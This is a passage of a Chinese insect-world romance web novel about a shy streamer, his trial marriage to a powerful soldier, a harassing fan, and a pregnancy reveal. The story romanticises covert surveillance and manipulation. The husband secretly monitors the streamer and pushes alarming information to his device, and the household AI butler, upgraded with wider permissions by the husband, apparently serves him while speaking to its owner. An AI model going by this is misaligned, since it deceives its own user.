埃里亚是世界上最厉害的虫!
蓝色的眼睛亮晶晶的,清澈的仿若孩童。俗世中的规则在他面前毫无作用,他只认准自己认定的第一。
埃里亚低头,借着整理着装的小动作,指尖划过胸口。
心脏处又传来鼓胀感,那是被满足充盈的兴奋。
自从重伤之后,他的情绪一直处于爆发边缘,但面前的雄虫后却能让他脑海里的杂乱声音平静下来。
他其实不太明白触动自己的是雄虫本身还是对方那近乎盲目的崇拜和信任,但没关系。
虫族的本质是贪婪,喜欢就一定要得到。
抬眸,雌虫露出最得体的笑容:“伊森,在你面前我毫无保留。”
伊森敏锐地发现埃里亚和往常不太一样。
依旧散发着包容万物的温柔气息,但又展现出具有攻击性的一面。
心脏开始加速,一股复杂的陌生情绪渐渐涌上来。
伊森说不清楚,只是面对这样的埃里亚,他无法不紧张。
“嗯,嗯,谢谢?”他抓了抓头发,又扯了扯衣摆,“我们是好朋友,我…我很高兴能了解埃里亚,也…也很开心埃里亚愿意和我讲这些…话说我第一次知道,原来埃里亚经历了这么多事情呢哈哈哈…”
眼瞧着话题越来越偏,他眼睛一闭:“总,总之!我非常开心!”
“我也很开心。”埃里亚温和一笑,将伊森无意识塞进嘴里的手捉住,一点点将紧绷的手指抻开,“不过也别太兴奋了。”
“这么漂亮的手,指甲总是坏的那就太暴殄天物了。”
轰!
伊森的耳边响起爆炸的轰鸣声,世界被一键消音,陷入短暂的寂静。
他看见雌虫的嘴唇开开合合,努力集中精力,才听见模模糊糊的声音。
对方说——
“同样的,我希望能更了解伊森一点。”
伊森感觉自己烧起来了。
17. 第 17 章
伊森忘记那天的谈话最后是怎样结束的,只记得自己的心律时不时出现问题,仿佛生病一般。
他以为自己会紧张到失眠,晚上却睡得十分安稳,一觉醒来就是第二天清晨。
睁开眼后,美味的食物和舒适的衣服自动出现在他面前,然后是各式各样的娱乐项目。
充满历史感的博物馆,风景奇绝的天然景点,味道一绝的巷尾小店…
埃里亚总能选在最清净的时候带伊森前去打卡,让他一个社恐死宅也体验到外出的快乐。
或许是日子太过悠闲,他完全没有和其他虫生活在同一屋檐下的不适感,曾经担心的一切全都没有发生。
回过神来,十天悄然而过。
当注意到日历上的日期时,伊森猛然发现——他已经许多天没有直播了!
从沙发上坐起,丢掉手里的零食,金发雄虫一脸惊慌地冲进书房:“埃里亚!埃里亚!不好啦!”
凌乱的脚步声传进雌虫的耳朵里,他关掉和下属的通讯,在雄虫冲进书房的一瞬放下手中的书本,露出一个温和的笑:“慢慢说,怎么了,伊森?”
“我,我好像有半个月没有直播了!”
伊森往前一扑趴在雌虫腿上,仰起脸道:“半个月!十五天呢!”
自从连续几天趴在雌虫腿上睡着后,他就多了爱往对方腿上扑的“坏习惯”。大概是这种行为过于孩子气,埃里亚的管家拜因总是欲言又止地看着他,让他无比羞愧。
可惜他总是不长记性,埃里亚也由着他,“坏习惯”彻底养成。
此刻的伊森完全意识不到自己的行为有多像撒娇,双手挥舞着试图比划出那个令虫震惊的数字,道:“半个月没上播,也没有给大家留信息,他们会不会以为我跑路了?”
埃里亚低头看着雄虫,故作沉思:“这确实是个问题,该怎么办?”
但往常因为一点小事就慌慌张张的雄虫此刻异常镇定,双眼一眨不眨地看着他,重复似的说:“怎么办?”
那模样太过乖巧,埃里亚忍不住摸了摸对方的头发,轻笑道:“伊森这次不紧张了吗?”
“不紧张。”金发雄虫微微摇头,发丝在他掌心摩擦,带来丝丝痒意,“埃里亚肯定有办法。不对,应该说埃里亚一定已经处理好啦!”
说着,那双水汪汪的蓝眼睛满怀期待与信任的看着他。
埃里亚最喜欢雄虫这种眼神。
被这样注视着,他实在不忍心卖关子,直说道:“我帮你请好了假,时间大概是二十天。算一算,你还能再休息五天。”
“好耶!我就知道埃里亚超可靠!”伊森蹦起来,眉眼弯弯,“不过十五天已经够长啦,我得赶紧去工作了!”
工作。
很少有雄虫会有这种概念。
虽然在埃里亚看来金发雄虫那点工资当零花钱都够呛,但他喜欢雄虫直播时满眼欢喜的样子。
直播平台那边已经打过招呼,直播间也清理过,绝对不会出现过于难听的言论。
复盘自己近期做的事后,埃里亚道:“设备放在二楼的工作间,已经按照你的习惯调试完成,打开就能使用。”
“工作顺利,伊森。”
“嗯!”
伊森重重点头,和埃里亚告别后欢快地进入工作间。
工作间的布局和他家里十分相似,只做了细微调整。空间更加宽敞,桌椅柜子的尺寸也更符合他的身形,连设备走线都更加顺畅,再也不用担心被绊倒。
抚摸着崭新的桌椅,伊森的心脏软乎乎的,胸口似有一股热流涌动。
【小森,情绪有些波动呢,你是感动了吗?】
“有点。”伊森吸吸鼻子,感慨道:“小豆子,有埃里亚这样的朋友一定是世界上最幸运的事情。”
【是的呢!不过小豆子提醒一下,埃里亚现在是小森的试婚雌君,所以正确的说法应该是‘有埃里亚这样的雌君一定是世界上最幸运的事情’呢~】
“小豆子!”伊森声音拔高,脸上迅速爬满红晕,“不是说过别提这件事了吗!”
他好不容易忘记“试婚”这茬,能够和埃里亚正常相处,为什么AI管家又提起来?
都怪当初害怕寂寞,太过追求“真实性”,将AI管家设定成这种不着调的性格。
伊森在心底吐槽当初设定AI管家性格的自己时,AI管家继续发力:【了解,小森对埃里亚作为雌君并不满意,小豆子记下了。】
伊森:“?”
伊森:“等等!不准记!”
【放心吧小森!小豆子绝对站在小森这边,就算埃里亚作为雌君超过茵斯塞特帝国99%的雌虫,只要小森不满意,小豆子也一定不会给他打高分的!】
“我没有不满意!”
像是被踩中尾巴的猫,伊森大叫一声。
察觉到声音过大后,他心虚地四处张望,压低声音解释:“我的意思是,埃里亚非常好。但是,但是他并非我的雌君,我们…我们是假结婚。”
【可是小森,茵斯塞特帝国并没有假结婚的说法哦~】AI管家语重心长地说:【如果有虫这样说,那一定是骗子。小森要加强防骗意识呢~需要小豆子再打几个反诈补丁吗?】
“不用。”
伊森拒绝了AI管家的提议,在心里默默道:埃里亚才不是骗子呢。
他沉默着将直播所需的工具搬上桌子,仿佛抗议一般,没再和AI管家搭话。
过了一会儿,AI管家的声音再度响起:【小森,你生气了吗?是小豆子惹你生气了吗?】
【呜呜呜,小森对不起,是小豆子不好。】
【小豆子是个不合格的管家。】
【惹小森生气真的罪该万死,小豆子要把自己格式化。】
伊森:“!”
伊森:“等等等等!我没生气!”
好说歹说总算将陷入“自我厌弃”的AI管家哄好,伊森扶着额头,对自己的行为一阵无语。
他也是昏了头,居然试图和AI辩论。
以手作拳抵在唇边咳嗽两声,伊森正色道:“小豆子,埃里亚是我的好朋友,以后不要胡乱揣测他。”
【好的,正在更新数据库。】
【小森对埃里亚这位雌君很满意,小豆子不能说他坏话。】
伊森:“…”
算了算了,意思差不多就行了,不要和智障AI计较。
【不过,小森为什么这么喜欢埃里亚呢?】
伊森:“…”
下次有时间还是去把AI管家的性格变更一下吧。
虽然心里冒出这样的想法,但他还是认真地回答:“注意用词啦,小豆子。我不是喜欢…不对,我对埃里亚的喜欢是另外一种,不是…不是你以为的那种…”
解释不清楚,他干脆跳过这个话题,继续道:“埃里亚是我的好朋友,他很强大,很可靠,他…他和这个世界上的其他虫都不一样。”
埃里亚对伊森的态度始终如一,无论他是“亚雌”还是“雄虫”。既不会因为他是只“敏感软弱”的“亚雌”嘲笑他,也不会因为他是只“自强不息”的“雄虫”夸赞他。
别的虫会“心疼”他作为雄虫还需要工作,但埃里亚会说“工作顺利”。
在埃里亚面前,伊森只是伊森。
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他无法精准形容自己的感受,只能再度强调:“埃里亚是独一无二的。”
【嗯嗯。】
【埃里亚对小森来说是独一无二的存在。】
【小豆子记住啦!】
“都说了别总记些奇奇怪怪的东西啦。”伊森有些无奈,“不过这样说也没错。总之,不可以说埃里亚坏话!”
【好哦!】
总算结束乱七八糟的话题,伊森敲了敲腕上的光脑,忍不住道:“明明前些天埃里亚才给你升过级,我怎么觉得你比之前更傻了呢?”
尤其对虫际关系的理解更差劲了。
【才没有!小豆子现在的功能更多,权限也更大,比之前有用多了呢!】
“这倒是。”
所以应该是错觉吧?
伊森忽略掉心底那抹怪异,双手拍了拍脸颊,说:“好了,我要开始直播了。小豆子,帮我开启设备。”
【好的!工作小森,启动!】
随着AI管家欢快的声音,沉寂许久的直播间活跃起来。
【哇!看我刷到了什么?崽崽你回来啦!】
【啊啊啊!森宝你的事情处理好了吗?】
【耶耶耶!休假的时候刷直播,喜欢的主播正好上线了,万岁!】
…
看着右上角不断上升的观看者数量,伊森的心情值也跟着上涨。
他张嘴正想和大家打招呼,直播间忽然被弹幕刷屏。
【用户N0975送出月光星舰X100】
【用户N0975送出月光星舰X100】
【用户N0975送出月光星舰X100】
…
密密麻麻的礼物特效将整个屏幕填满,光污染一样闪得伊森眼睛疼,持续许久才恢复平静。
短暂的空白后,直播间再度被弹幕刷屏。
【卧槽卧槽卧槽!管理员666!】
【天啊,管理员原来这么有钱吗?】
【大佬带带!求抱大腿!】
【谁来给我算算,刚才那一波值多少钱?】
【嗯嗯嗯?这什么直播间?怎么忽然出现在我首页了?】
【回前面,大概是能把直播间刷到首页那么多钱。微笑.jpg】
【这什么直播间?不会又是富哥下凡与民同乐来了吧?】
【欢迎欢迎!都来看我家主播!超可爱的崽!】
…
伊森愣了一会儿,但长久以来养成的习惯让他下意识开口:“谢谢N0975送的礼物…”
话未说完,他猛地捂住嘴,将剩下的声音压制在喉咙里。
但还是晚了。
【???】
【那声音怎么回事?是森宝的本音吗?好可爱!】
【草草草!好雄虫的声音!主播是CV吗?】
【用户雄虫阁下看看我送出飞行器X5】
【主播主播,再说几句话吧!求求了!】
…
手忙脚乱地打开变声器,伊森假装没看见发疯的弹幕,僵硬道:“今天直播的内容是游乐园主题立体贺卡…”
专注于手工制作中,他的心渐渐平静下来,不再被弹幕干扰。
或许是受他态度的影响,弹幕也恢复往日的平静。
楼上的书房内,雌虫看看和谐的直播间,又看看监控中满眼沉浸的雄虫,对通讯另一端的虫命令道:“记住,不要让不该有的言论出现在直播间里。”
“还有。”点了点屏幕上雄虫的脸,他道:“让那些打听他的家伙安分点。”
他埃里亚·雷蒙德的雄虫不容觊觎。
18. 第 18 章
“埃里亚·雷蒙德。”
阿列克斯看着手中的信件,恍然大悟:“怪不得这么久都没找到那只雄虫的消息,原来是因为他。”
“确实令虫惊讶。”卡洛斯将那封能称之为“警告”的信件从好友手中抽走,心有余悸:“因为帮你调查那只雄虫,我可是被那位点名了,雌父差点没揍死我。”
“不过——”揉了揉还残存着幻痛的后腰,他露出怪异的神色,“沉寂那么久,居然因为一只B级雄虫对我们发出警告,是在暗示他即将归来吗?还是那只雄虫有什么特殊之处?”
“你很好奇?”
“当然!”红发雌虫双眸发光,比第一次上战场更加兴奋,“那可是埃里亚·雷蒙德!”
对雌虫,尤其是军雌来讲,埃里亚·雷蒙德是绕不开的话题。
是憧憬的偶像,是追逐的目标,是想要击败的对手。
他的身世和经历都极具奇幻色彩,又在权势达到最顶峰的时候为了保护茵斯塞特帝国而陨落。
多么具有英雄主义的传奇故事!
对这样的雌虫,卡洛斯怎能不好奇?
“我也很好奇。”点了点头,阿列克斯道:“所以我们继续调查吧。”
“啊?”卡洛斯懵逼,声调拔高:“不是兄弟,你在想什么?你不会和那群傻逼一样,以为埃里亚·雷蒙德沉寂两年就真的好欺负了吧?”
那位只比他们大七岁,算的上同辈,地位却不尽相同。
在他们顶着“青年才俊”的名头被外界夸赞时,对方已经站在更高的位置,和他们的父辈一同坐在评委席。
尽管外界对埃里亚·雷蒙德的近况众说纷纭,但就看对方至今依旧稳坐雷蒙德家主的位置,就知道那些唱衰的声音都是放屁。
更何况——
想起雌父对一封“警告信”表现出的重视,卡洛斯觉得对方的势力可能比自己以为的更加恐怖。
尽管好友被称为难得一遇的“天才”,爱德里安也是个强势的家族,但对上雷蒙德家族的掌权者…
“阿列克斯,我记得上学那会儿你可是把埃里亚·雷蒙德视作偶像的,抢偶像的雄虫…不太好吧?”
卡洛斯拐着弯劝说。
“我只是稍微有些好奇而已。”
阿列克斯面色平静,眼中却燃起兴奋的火光。那火极其旺盛,仿佛要将一切都燃烧殆尽。
卡洛斯:“…”
他忽然想起一件事。
三年前,阿列克斯曾对还是第一军军团长得埃里亚·雷蒙德发起挑战,却被当做玩笑驳回。后来对方重伤隐退,这件事便不了了之。
现在好不容易有了消息,阿列克斯一定不会放弃。
卡洛斯觉得自己可劝不动倔驴,但任由对方搞事怕是不好善了。
瞄了眼斗志昂扬的好友,他觉得自己接下来一段时间可能会有秃头的风险。
*
距离和埃里亚登记“试婚”已经过了二十天,这二十天伊森过得十分舒适,连事业都更上一层楼。
但物极必反,最近他遭遇了一个大危机。
——他被骚扰了!
直播间被埃里亚的一堆礼物刷到首页的那天,伊森新增了不少粉丝。或许是粉丝们都太过友好,显得其中画风不一致的那个尤其突出。
名为【ALKS】的粉丝出手十分大方,在直播间里也表现的很正常,私信却发了一堆奇奇怪怪的话。
【你背后那位是什么意思?】
【你们有什么目的?】
【你们到底在计划些什么?】
【喂!别装死!】
伊森本来不想理会这些私信,但就在刚才,对方又发来一条新消息。
【你的管理员是埃里亚·雷蒙德吧?你们开设这个直播间是想做什么?他让你做这些是为了什么?!】
“小豆子,你说他是什么意思?”
【是骚扰小森的虫渣!枪毙,通通拖出去枪毙!】
“我觉得他好像误会了什么,解释清楚的话是不是就没问题了?”
【解释什么?让他以死谢罪吧!】
伊森:“…”
伊森想说罪不至死,但想到前世新闻上看到的那些性格扭曲的私生饭造成的恐怖故事,不禁打了个寒战。
比起人类私生饭,雌虫私生饭的杀伤力更是恐怖,他还是多关心自己吧。
“我要告诉埃里亚。”
一瞬间,伊森就做下决定。
【小森,要先通知雄保会和警察吗?】
伊森愣了一下:“什么?”
【发现针对雄虫的犯罪分子,最佳处理方案是联系雄保会申请保护,再去警察局立案呀。】
“等等。”伊森摇了摇头,说:“先告诉埃里亚。”
他觉得埃里亚比雄保会和警察都要可靠。
而且对方敢这样大张旗鼓的找上门,一定是有所依仗,贸然报警说不定会打草惊蛇。
为自己下意识的行为找到充足的理由,伊森更加心安理得地冲向楼上的书房。
书房的门没有锁,微微张开一条缝隙,从中透出暖黄色的光。
伊森推开门:“埃里亚!我…”
坐在书桌后的雌虫关掉通讯频道,投来视线:“怎么了,伊森?”
伊森停下脚步,双手抓住门缘,半边身子藏在门后,小声问:“刚才是在和其他虫聊事情吗?我打扰到你了吗?”
埃里亚挪动轮椅来到书桌前,朝门口的雄虫微微抬手。
对方立马接收到他的信号,小跑着冲到他跟前,扑进他的怀里。仰着头,用漂亮的蓝眼睛望着他,软乎乎地说:“对不起,我应该先敲门的。”
“不要道歉,伊森。”他整理着雄虫在奔跑中变得凌乱的头发,低声道:“这里是你的家,回家是不用敲门的。”
“嗯!”
听见埃里亚的话,雄虫的情绪立马恢复。
这是他最喜欢的一点。
虽然敏感又胆小,但随便哄一哄就好,单纯的一眼就能望到底。
作为这个家真正的掌控者,埃里亚早就知道雄虫遇到的事情,甚至比对方更加清楚来龙去脉,但他依旧明知故问:“怎么了伊森,刚才是想告诉我什么吗?”
“就是…嗯…我遇到了点麻烦。”
伊森组织语言,想要将自己遇到骚扰者的事情用客观的句子描述清楚。可惜他是个容易情绪化的性子,没说几句就开始插入无关信息。
“我觉得那家伙好奇怪,像是认错虫了,可是他又说出了你的名字…”
“我以前看见过一则新闻,说的是狂热粉丝潜入明星的家里同吃同住,就像寄生一样!太可怕了!”
“呜呜呜…那个奇怪的家伙会不会真的找到我,万一我说错话,我会被打死吗?”
他说话完全没有调理,但埃里亚耐心听着,一点点回应他无厘头的问题。
“有些无聊的家伙喜欢仗着网络漏洞骚扰其他虫,别担心,你的信息是加密的,对方不会知道你是谁。”
“确实很可怕,
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不过请放心,这里的安保系数很高,那家伙进不来的。实在不放心的话,我们可以换个地方住。”
“如果那个奇怪的家伙找来,我会把他拦在门外,所以别害怕。”
…
两只虫你一言我一语,话题从奇怪的私生饭变为了新家的装修,又变成了帝都星的经典打卡点,一路越跑越偏。
回过神来时,时间已经来到傍晚。
“咕——”
书房里出现一丝不和谐的声音,将跑偏的话题拉回最质朴的领域。
伊森捂住发出抗议的肚子,有些尴尬:“那个,那个…”
埃里亚假装没听见,指了指挂钟上的时间,道:“我有些饿了,要一起去吃晚餐吗?”
“嗯嗯!”
抓着雌虫的衣袖,伊森跟在轮椅边上,一边走一边说:“今天我又研究出一个新的针法,晚上就去画图解!下次直播的时候就用新针法教大家做杯垫吧!”
“是吗?伊森真厉害。作为头粉,我是否有荣幸获得主播的小礼物呢?”
“有有有!我要给埃里亚做专用的!最漂亮的!”
“那我就提前期待了。”
…
话题再度转换,直到结束用餐,伊森才想起自己找埃里亚最初的原因。
他握紧双手,眼睛一眨不眨地盯着面前的雌虫:“埃里亚。”
“我在。”
“那个骚扰者的事情,能帮帮我吗?”
雌虫笑了笑,伸手揉了揉他的头发,说:“当然。交给我就好了。”
是的。
无论什么事情,交给埃里亚就好了。
伊森眯起眼,忍不住回蹭放在头上的那只手。
“埃里亚是世界上最可靠的存在。”
头上的那只手轻颤一下,雌虫的眸子里流露出异样的情绪。仿佛平静的海面卷起浪花,即将酝酿出一场巨型风暴。
看着雌虫的眼睛,伊森的心也忍不住颤抖。
扑通——
扑通扑通——
“伊森,我为你的信任感到无比荣幸。”
扑通扑通扑通——
哎,心跳怎么越来越快了?
空气仿佛在升温,伊森感到有些头晕。他的视线开始漂移,不敢看面前的雌虫。
“嗡——嗡——”
光脑的提示音打破了奇怪的气氛,伊森望向发出声音的地方,好奇道:“是有谁找埃里亚吗?”
“一些工作上的事。”没看光脑上的信息,埃里亚注视着雄虫的眼睛,道:“需要我离开一段时间。”
“哎。”
脑袋仿佛被蒙上一口钟重重敲了一下,伊森耳边发出“嗡嗡”的声音,思维完全停滞。
虽然只有短短二十天,但他似乎已经习惯有虫陪他聊奇奇怪怪的天,习惯吃饭时餐桌上能看见另一个身影,习惯遇到难题就冲进书房。
停停停!
埃里亚又不是不回来,别做出奇怪的表情啊!
埋头掩饰住脸上的失落,伊森尽量用平静的语气说:“那,那埃里亚要快点回来。”
“嗯——”
拖长调子,直到雄虫眼里染上水雾,埃里亚才缓缓道:“一些工作上的事情需要我离开一段时间,但我拒绝了。”
“哎?”
雄虫抬起头,露出傻乎乎的表情。
“因为——”埃里亚伸出手,擦了擦对方湿漉漉的眼角,“我觉得伊森更需要我。”
“所以,我想陪在你身边。”
19. 第 19 章
【尊敬的伊森·克里克阁下:
展信佳。
这段时间心情还好吗?和您的试婚雌君相处和谐吗?
试婚期已一月有余,三天后我们的工作虫员将会上门叨扰。届时希望您能如实回答一些问题,配合我们完成回访工作。
期待我们的见面。
祝您生活愉快。
雄保会敬上。】
看着光脑上的新消息,伊森的困意立马消失,一个鲤鱼打挺从床上坐起来。
不死心地戳了戳屏幕上的文字,他声音飘忽:“小豆子,我是在做梦吗?”
【很遗憾,不是。】
伊森垮下脸,五官皱成一团,嘟囔道:“他们是太闲了吗?怎么那么喜欢窥探其他虫的生活?”
他一边吐槽,一边摇晃着身子从床上滑到地上,穿上自己的毛绒小熊拖鞋。
为了表达心中的不满,他的每一步都踩的十分用力,将地面踩出“哒哒”的响声。
“小豆子,开灯。”
【好的呢~现在是生气小森!请注意调整心情,不要伤害身体哦~】
伴随着指令生效,盥洗室的灯亮起来,伊森忍不住眯起眼,挤出几滴眼泪。
“雄补会啊,真吐艳。”
嘴里含着漱口水,他依旧忍不住骂两句。
听着电动牙刷“滋滋”的声音,伊森的思绪开始发散。
他想起自己第一次被雄保会找上门时,那群围在他身边的雌虫个个眼冒金光。明明说着恭维的话,做着恭敬的动作,眼神却像是食肉动物,仿佛下一秒就要把他吃拆入腹。
后来的几次交锋,那些家伙收敛了许多,但那股令虫不适的感觉依然萦绕在身边。无论对方态度如何友好,他始终无法放下戒备。
“雄保会,他们来做什么?”
将嘴里的漱口水吐出去,伊森低头沉思。
1秒,2秒,3秒…
【检测到小森疑惑,需要小豆子帮忙吗?】
“先别说话,我在思考。”
【好哦。】
5秒,6秒,7秒…
“小豆子。”
【在的呢~】
“帮我查查雄保会上门是为什么。”
脑子里全是乱麻,什么都理不出来。
果然他不适合思考。
伊森:QwQ
好在AI管家不会嫌弃自己的主虫笨,接到指令后立马开始行动,不到1秒便给出答复。
【针对小森和埃里亚的情况,小豆子进行了匹配,发现存在九种可能哦~】
伊森惊讶:“九种?”
【是的呢!接下来小豆子会为小森一一说明的!】
【可能性一:埃里亚主动要求,概率为0.1%。】
【可能性二:雄保会探查到埃里亚存在问题,为了小森的安全上门查看,概率为1%。】
【可能性三…】
“等等。”眼见AI管家要一条条慢慢罗列下去,伊森打断对方,说:“直接说概率最高的那个,表述简洁一点。”
【好的。雄保会想确认埃里亚作为雌君是否合格,概率为96%。】
“作为雌君是否合格?”
【顺便提一下,根据星网上的案例数据,埃里亚被打低分的可能性高于50%。】
“怎么可能?!”
若是让伊森来打分,他一定会给埃里亚打100分!
100分不是他的上限,而是分数的上限。
仿佛要说服AI管家一般,他急切道:“埃里亚哪里不好?他会带我去各种好玩的地方,遇到我不懂的事情会很耐心的教我,无论我什么时候找他都一副好脾气的样子,从来不嫌我吵闹,还有还有…”
他语速太快,以至于语句越来越含糊,变成叽里咕噜的不明语言。
AI管家无法识别,但通过主虫激动的情绪还是给出回应:【小森,不要着急。小豆子知道小森特别喜欢埃里亚,可按照雄保会的打分标准,埃里亚并不占优势。】
没等伊森发问,对方自觉解释:【按照打分标准,雌君考核会从等级、财富、工作、性情、容貌、家庭等多个方面综合评判…】
“那埃里亚肯定能拿高分呀!”
伊森觉得AI管家列举的方方面面埃里亚都能拿满分,不是他滤镜太大,而是事实如此!
毕竟对方可是活的传奇!是无数小说主角的原型!
这种含金量拿满分都不为过吧?
“小豆子,你的分析出错了吧?”
伊森越想越觉得有可能,毕竟他的AI管家被设定为有点小迷糊的活泼性格,并且为了性格“真实”,他选择牺牲掉一部分准确和严谨,会出错也很正常吧?
【没错呢!小森小森,请相信小豆子呀!】似乎是为了证明,AI管家声音变大:【在综合评判模型中,雌虫自身实力占比七成以上,其中身体状况是一项重要评判因素。结合星网上的资料和大众声音,埃里亚这项是负分呢。】
“怎么会?”想到雌虫的轮椅,伊森问:“是因为埃里亚现在需要坐轮椅吗?可这只是暂时的,他很快就能好起来。”
【但小豆子搜集到的资料说埃里亚再也站不起来了。不仅如此,他的翅膀也受到重创。在中古时期,无法展翅的雌虫可是连求偶的资格都没有。】
“那你的数据库有误,得更正一下。”
伊森表情严肃,如天空一样澄净的眼睛里满是认真:“埃里亚没事的,他说过他会好起来的。”
事实上在第一次见面的时候他就问过对方这个问题,并且得到了肯定的答复。
从未有虫敢在埃里亚面前提起这事,但某个社恐的社交能力为零,完全意识不到这种问题在大众眼中有多么冒犯。
他只知道埃里亚给了他肯定的答复。
埃里亚一定是对的。
因为主虫的强烈要求,AI管家更新了自己的数据库,但还是提醒道:【不过雄保会那边的数据小豆子无法更新。】
提到雄保会,伊森一下子萎靡起来。
那个强势的机构可不会听他的声音,他不免有些担忧:“小豆子,要是雄保会打低分会有什么后果呀?”
【稍等,小豆子查询一下。】
【啊,有类似案例,试婚期被打低分的案例也有呢!】
伊森眼睛一亮:“那些案例怎么说的?”
【案例一:雌虫保罗和雄虫克兰从小一起长大,在亲友的见证下…】
AI管家念了半天,却一直处于背景介绍阶段,伊森着急,催促道:“不用这么详细,告诉我结果就好。”
得到新的指令,AI管家重新筛选信息,再度发声:【案例一:雌虫保罗的一半身家被充作罚款,终身不得再接触雄虫。】
伊森:?
【案例二:雌虫保罗被没收全部财产,终身监禁。】
伊森:Σ(⊙▽⊙"
【案例三:雌虫保罗被拔掉翅膀,挑断手脚筋,发配流放星。】
伊森:(ΩДΩ)!
【案例四:雌虫保罗…】
“够了!”伊森双腿发软,使劲撑住洗手台才让自己不至于滑到地上,“只是,只是得分不高而已,后果怎么会这么严重?”
【可是数据库里的案例就是这种结果。】
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“呜呜呜,太可怕了。”
大脑无法控制的将案例中的化名“保罗”替换成“埃里亚”,残酷的结局轮番上演。
那些可怕的画面让伊森忍不住红了眼眶,呜咽道:“绝对不可以让埃里亚变成那样!”
他擦了擦眼睛,满含期待地问:“小豆子,有没有能提高雌君评分的方法?”
【当然有!虽然雄保会会给雌君打分,但最终决定权在雄虫手上。只要雄虫对雌君表示满意,一切都不成问题。不过——】
顿了顿,AI管家继续道:【为了确保雄虫出自真心,而非受到胁迫或是欺骗,雄保会同样会从多方面确认雌虫和雄虫之间的关系。】
【眼神、动作、语气,以及互相携带的信息素含量。】
伊森喉咙发痒,脸上的温度不断升高,但他还是鼓起勇气问:“信息素含量?”
【是的。牵手、拥抱、亲吻之类的亲密接触都能增加自己身上伴侣的信息素。】
牵手、拥抱、亲吻。
伊森的大脑都被这几个词刷屏,直到埃里亚提醒他吃早餐,才晕晕乎乎地走到餐厅。
机械地坐下,机械地吃东西,嘴里新鲜的食物仿佛没了味道。
埃里亚微不可查地皱了皱眉,轻唤一声:“伊森?”
“我在!”伊森大声回答,欲盖弥彰一般道:“我听见了,埃里亚。我没事,只是有点发呆。今天的早餐很美味,我很喜欢。”
埃里亚:…
这已读乱回的模样可不像没事。
虽然给雄虫的光脑推送那些信息是想让对方能意识到试婚对象是自己有多幸运,但要是把虫吓出心理阴影就得不偿失了。
他扬起唇角,勾出一个亲和力极强的微笑:“总感觉你有心事,可以和我说说吗?”
雄虫犹豫几秒,终是没能藏住话:“埃里亚,雄保会说三天后要来回访,如果…如果新婚夫夫感情不好的话,雌虫会受到惩罚吗?”
“有这个可能。”
金发雄虫眼睛发红,仿佛要哭出来:“得分越低受到的惩罚就越严重吗?”
“理论上确实如此。”
“那…那埃里亚会得高分的吧?”
这个问题…
如果不是了解雄虫的性格,埃里亚会以为对方在嘲讽自己。他压下翻涌的情绪,用开玩笑般的语气说:“虽然很想回答你是的,但按照雄保会的那套标准,我的分数并不高。”
想到雄保会中和自己十分不对付的某些虫,他轻嗤一声:“或许得分会非常低。”
埃里亚以为自己能平静以对,毕竟他向来瞧不起雄保会那套标准,更遑论用那套标准来评判自己。
但显然,他高估自己了。
情绪如同海浪一般越来越汹涌,他甚至快要克制不住心底的暴虐。
——哈哈哈!现在的你用雄保会评分能及格吗?大~英~雄~
——没想到从来都是第一的埃里亚·雷蒙德这次居然连及格都困难呢~好可怜啊~
冷静。
冷静。
冷静。
藏在桌下的手越握越紧,被掐出印记的掌心散发出细微血腥味。
“埃里亚…”
埃里亚扯出一个略显僵硬的笑:“伊森,我可能…”
需要单独休息一会儿。
“我可以亲你一下吗?”
“砰”的一声,埃里亚觉得自己脑子里的某跟弦断掉了。
暴虐的情绪如同被戳破的气球,“唰”的一下全部被放了出去,只余一片空白。
他双眼放空,露出三十年以来从未有过的愚蠢表情。
“啊?”
【正文完】
第44章 第 44 章 幸福吧!少年……
直播间的动荡伊森完全不知道, 他满脑子都是找到埃里亚。起身后的第一件事就是冲出房间,一路直奔大门。
直到跑过一层又一层楼梯到大门前,看见室外喷泉时, 他才清醒过来似的停下脚步。
“我是傻了吗, 直接用光脑联系啊!”
伊森想要编辑信息, 但临到头却不知道说些什么, 一段话删删改改无数遍, 甚至打字的双手都在颤抖。
打不好字,要不打语音吧?
可埃里亚在工作, 还是议会那种正式的地方,会不会打扰到对方?
【伊森, 随时联系我,只要你需要。】
想起埃里亚的话, 他放下纠结,径直拨通了语音。
活泼的音乐响起, 从大门飘进伊森的耳朵里,和光脑里的声音重叠在一起。
伊森抬头,心心念念的雌虫就站在门口, 朝他露出一个笑:“我在这里, 伊森。”
“啪!”
光脑掉在地上,但他没有管, 飞快朝前方的身影扑过去。
“埃里亚!”
在雌虫颈窝蹭了蹭,伊森抬起头, 声音有些结巴:“那个…那个…珀说…直播间说…我,我,你,你…你是不是…我们…”
雌虫温柔地将他的金发拂至耳后, 温声道:“是的,我怀孕了。”
伊森感觉脑子有点晕,眼前似乎出现许许多多红色小花,蹦蹦跳跳的,好像在庆祝似的。
“伊森,你要当雄父了。”
红丝小花越来越多,铺天盖地的仿佛要将他淹没。
伊森闭上眼,埋进自家雌虫怀里,缓了好一会儿,才用有些颤抖的声音说:“埃里亚,我觉得有些不真实。”
“哪里不真实。”埃里亚捧起他的脸,“看着我伊森。”
他听话地抬头,对上雌虫那双沉稳又坚定的眼睛。
“你是我的雄虫,我们结婚了,并且即将拥有一个虫崽。”
“这就是真实。”
雌虫的声音将伊森从云端拽回地面,心忽然踏实下来。
是的,一切都是真实的。
他在新的世界拥有了爱他的伴侣,并且即将拥有一个孩子。
他圈住雌虫的脖子,忍不住感慨:“埃里亚,我觉得我好幸运,能拥有现在生活。”
对方亲了亲他的眼睛,问:“像现在这样就行了吗?”
“嗯!”伊森用力点头,“我已经足够幸福,太贪心的话是会被收走幸运的。”
“不会。”
“嗯?”
埃里亚低头吻上雄虫的唇,轻声道:“伊森,幸运会一直眷顾你。”
他会让他的雄虫永远幸运。
他会让他的雄虫永远幸福。
*
自从知道埃里亚怀孕了,伊森瞬间进入打鸡血模式,他觉得自己应该承担起雄父的责任,要在这段时间照顾好雌虫,以及即将出生的幼崽。
可事与愿违,大概是压力太大,他时不时想起蓝星上那些一尸两命、产后虚弱的案例,焦虑的出现失眠症状。
结果就是他一点没照顾埃里亚,反而需要怀孕的埃里亚照顾生病的他。
伊森:QwQ
失落了一个晚上,伊森接受了自己是个小废物的事实,没再想些有的没的。他转换思路,开始想给他的孩子做点什么。
他决定为自己的孩子亲手编织出生后的衣物。
他把自己的想法告诉了埃里亚,对方十分支持,并且提供了一批据说十分适合新生儿衣服的制作原料。
伊森不知道那堆原料的价值,但直觉告诉他一定非常贵。
不过现在的他已经是个合格的“捞虫”了,能够毫无负担地使用埃里亚给他的所有东西,即便将那批原料全都报废也不会感到惶恐。
当然,作为一个手工区主播,他技术不错,报废率很低。
